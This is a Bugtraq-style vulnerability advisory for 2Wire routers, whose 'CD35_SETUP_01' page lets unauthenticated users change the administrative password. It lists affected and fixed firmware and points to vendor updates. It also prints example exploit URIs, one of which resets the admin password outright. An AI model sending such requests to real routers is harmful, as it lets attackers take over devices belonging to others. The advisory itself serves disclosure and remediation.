2Wire Routers 'CD35_SETUP_01' Access Validation Vulnerability

Bugtraq ID:	36031
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 12 2009 12:00AM
Updated:	Aug 21 2009 03:56PM
Credit:	hkm
Vulnerable:	2Wire 2071 Gateway 5.29.51 2Wire 2071 Gateway 3.17.5 2Wire 2071 Gateway 3.7.1 2Wire 1800HW 5.29.51 2Wire 1800HW 4.25.19 2Wire 1800HW 3.17.5 2Wire 1800HW 3.7.1 2Wire 1701HG 5.29.51 2Wire 1701HG 4.25.19 2Wire 1701HG 3.17.5 2Wire 1701HG 3.7.1
Not Vulnerable:	2Wire 2071 Gateway 5.29.135 .5 2Wire 1800HW 5.29.135 .5 2Wire 1701HG 5.29.135 .5

2Wire Routers 'CD35_SETUP_01' Access Validation Vulnerability

Multiple 2Wire routers are prone to an access-validation vulnerability because they fail to adequately authenticate users before performing certain actions.

Unauthenticated attackers can leverage this issue to change the router's administrative password. Successful attacks will completely compromise affected devices.

2Wire routers prior to Firmware version 5.29.135.5 are vulnerable.

2Wire Routers 'CD35_SETUP_01' Access Validation Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://gateway.example.net?xslt?page=CD35_SETUP_01
http://gateway.example.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&password2=*Ax512*

2Wire Routers 'CD35_SETUP_01' Access Validation Vulnerability

Solution:
Updates are reported to be available; please see the references for more information.

2Wire Routers 'CD35_SETUP_01' Access Validation Vulnerability

References:

• 2wire Homepage (2wire)
  
• 2WIRE Gateway Authentication Bypass & Password Reset (hkm )